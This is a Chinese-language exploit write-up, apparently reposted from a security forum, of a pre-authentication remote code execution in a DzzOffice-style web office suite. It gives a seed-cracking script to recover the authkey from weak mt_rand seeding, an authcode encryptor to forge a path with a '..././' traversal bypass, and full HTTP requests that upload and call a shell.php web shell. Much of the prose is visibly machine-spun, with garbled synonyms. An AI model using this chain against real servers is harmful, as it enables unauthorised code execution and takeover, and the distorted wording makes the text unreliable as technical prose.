phppre技巧_某Office202前台RCE分析

定位到干系代码片段

$uid = 1 ; $authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10); $_config['db'][1]['dbhost'] = $dbhost; $_config['db'][1]['dbname'] = $dbname; $_config['db'][1]['dbpw'] = $dbpw; $_config['db'][1]['dbuser'] = $dbuser; $_config['db'][1]['port'] = $port?$port:'3306'; $_config['db'][1]['tablepre'] = $tablepre; $_config['admincp']['founder'] = (string)$uid; $_config['security']['authkey'] = $authkey; $_config['cookie']['cookiepre'] = random(4).'_'; $_config['memory']['prefix'] = random(6).'_';

这里的authkey和Cookie前缀都是调用random()函数天生了一部分

跟进random()，该函数位于install/include/install_function.php:

function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; PHP_VERSION < '4.2.0' && mt_srand((double)microtime() 1000000); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash;}

这里的random()函数，跟修复随机数安全问题前的Discuz千篇一律，没有重新播种，所有随机数都是通过同一个种子天生出来的

一个小知识点：

我们可以利用如下固定了种子的值得Demo做测试：

function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; PHP_VERSION < '4.2.0' && mt_srand(123456); mt_srand(123456); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash;}echo random(10);

我们可以得出结论在同一进程中,同一个seed,每次通过mt_rand()天生的值都是固定的

由于这里的Cookie前缀是我们可以获取到的，以是我们可以跑一遍PHP的所有的种子，得到11-14 位对应的随机数序列所对应的随机字符，判断是否为我们的Cookie前缀。
这样就能获取所有随机可能的种子

再通过所有可能的随机数种子天生第1-10位对应的随机字符，这样就可以拿到authkey[-10],至于前6位只能选择爆破

这样的话我们就能得到很多组可能的authkey

这样的话要办理两个问题：

这个别系大量套用Discuz的代码，因此authkey和Discuz里面的效果一样，在一种流算法authcode()中利用的key，来加密一些主要的参数。
这也就意味着，只要能够拿到这个authkey我们就能，传入我们须要的参数。

通过全局搜索可以找到一处authcode()可控明文点，且加密之后的数据能够被获取到。
文件core/function/function_seccode.php

代码片段如下：

dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);

这里设置了一个cookie，密文是用 authkey天生的，并且密文可以被得到，利用这里的cookie即可验证authkey的精确性。

Cookie前缀我们很随意马虎得到

利用如下脚本得到php_mt_seed可以处理格式的数据

w_len = 10result = ""str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"length = len(str_list)for i in range(w_len): result += "0 " result += str(length-1) result += " " result += "0 " result += str(length - 1) result += " "sstr = "gGyk"for i in sstr: result += str(str_list.index(i)) result += " " result += str(str_list.index(i)) result += " " result += "0 " result += str(length - 1) result += " "print(result)result：0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61

天生可能的种子文件：

利用如下脚本处理暴力爆破，验证idhash即可

<?php$pre = 'gGyk';$seccode = substr('gGyk_2132_seccodeST09ZLe0', -8);$string = '2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0';$seeds = explode("\n", file_get_contents('seed.txt'));for ($i = 0; $i < count($seeds); $i++) { if(preg_match('/= (\d+) /', $seeds[$i], $matach)) { mt_srand(intval($matach[1])); $authkey = random(10); echo $authkey; if(random(4) == $pre){ echo "trying $authkey...\n"; $res = crack($string, $authkey, $seccode); if($res) { echo "authkey found: ".$res; exit(); } } }}function crack($string, $authkey, $seccode) { $chrs = '1234567890abcdef'; for ($a = 0; $a < 16; $a++) { for ($b = 0; $b < 16; $b++) { for ($c = 0; $c < 16; $c++) { for ($d = 0; $d < 16; $d++) { for ($e = 0; $e < 16; $e++) { for ($f = 0; $f < 16; $f++) { $key = $chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f].$authkey; $result = authcode_decode($string, $key); if (strpos($result, "\t$seccode\t")) { return $key; } } } } } } } return false;}function authcode_decode($string, $key) { $key = md5($key); $ckey_length = 4; $keya = md5(substr($key, 0, 16)); $keyc = substr($string, 0, $ckey_length); $cryptkey = $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = base64_decode(substr(str_replace(array('_', '-'), array('/', '+'), $string), $ckey_length)); $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for ($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } return $result;}function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash;}

终极可以得到authkey，3ccd48TRC0BU9NnD

拿到authKey之后,全局搜索dzzdecode(能找到很多的利用点。
这里演示一个文件上传的利用。

在core/api/wopi/index.php中：

跟进Wopi::PUTFile：

调用IO::SetFileContent跟进：

跟进self::clean:

这里将\n,\r,../更换为空，可以利用..././绕过

转头跟进self::initIO:

根据Path的值实例化类

回到开始的PUTFile，Content获取php://input也便是POST数据流，Path采取流式加密，GET获取，也是可控的，这样直接上传文件即可

利用脚本加密Path

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){$ckey_length = 4;$key = md5($key);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));}}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3ccd48TRC0BU9NnD'),'ENCODE'));

布局数据包

POST /dzz/core/api/wopi/index.php?access_token=1&action=contents&path=Y2RhNUl5N09ZVW8vaGNkV0tEcU1qZzc0bGtLWGlIVXZEdjY3eUxmaXFiR3k1VDhtNUJXSFZnZHF1Y3I1VGZCcmtDNXljVGJaMVFnSWlNVENzR1U= HTTP/1.1Host: localhostsec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0Connection: closeContent-Length: 18Content-Type: application/x-www-form-urlencoded<?php phpinfo();?>

访问根目录的shell.php即可RCE

POST /dzz/shell.php HTTP/1.1Host: localhostsec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0Connection: closeContent-Length: 18Content-Type: application/x-www-form-urlencoded<?php phpinfo();?>

觉得非常突兀，由于defined的限定，页面没法直接访问，但是假如能绕过Defend，是不是能直接前台文件包含呢，这样的话，我们利用远程文件包含，是不是就可以RCE？我不太明白这里代码的浸染，也就没有深入的去挖掘，但是觉得很有利用的可能。

声明：本文仅限于技能谈论与分享，严禁用于造孽路子。
若读者因此作出任何危害网络安全行为后果自大，与本号及原作者无关。
作者：H3h3QAQ 源自：先知社区